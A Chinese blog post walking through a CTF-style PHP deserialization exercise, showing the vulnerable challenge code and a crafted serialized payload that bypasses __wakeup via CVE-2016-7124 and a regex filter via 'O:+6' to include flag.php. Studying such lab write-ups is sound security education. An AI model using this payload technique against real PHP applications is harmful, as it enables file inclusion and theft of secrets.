Loading

PHP反序列化基础之__wakeup绕过

例题:

<?php
class secret{
    var $file='index.php';//覆盖这里的index

    public function __construct($file){
        $this->file=$file;
    }

    function __destruct(){
        include_once($this->file);
        echo $flag;//最终要触发这里
      //输出flag.php中的flag
    }

    function __wakeup(){
        $this->file='index.php';
      //但是一旦反序列化,就会触发wakeup方法,就会将反序列化中的file替换为index.php
      //从而导致前面精心构造的覆盖index.php变成了白忙活
    }
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){
      ///[oc]:\d+:/i 会匹配以下格式的字符串:
      //字母 o 或 c(不区分大小写)
      //紧接着冒号 :
      //一个或多个数字 \d+
      //再紧跟一个冒号 :
      //(就是o后面不能出现数字,才能进入else)
        echo "Are you daydreaming?";
    }
    else{
        unserialize($cmd);//反序列化传入的值
    }
}
//sercet in flag.php
?>

所以这道题目的解题思路:

  1. 通过构造要反序列化的字符串将原来的index.php覆盖
  2. 再利用CVE-2016-7124这个漏洞,来绕过wakeup方法
  3. 最终实现获得flag
<?php
class secret{
    var $file='flag.php';
}

$a = new secret();
echo serialize($a);
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}') ;
?>
posted @ 2025-04-05 15:12  赟希  阅读(213)  评论(0)    收藏  举报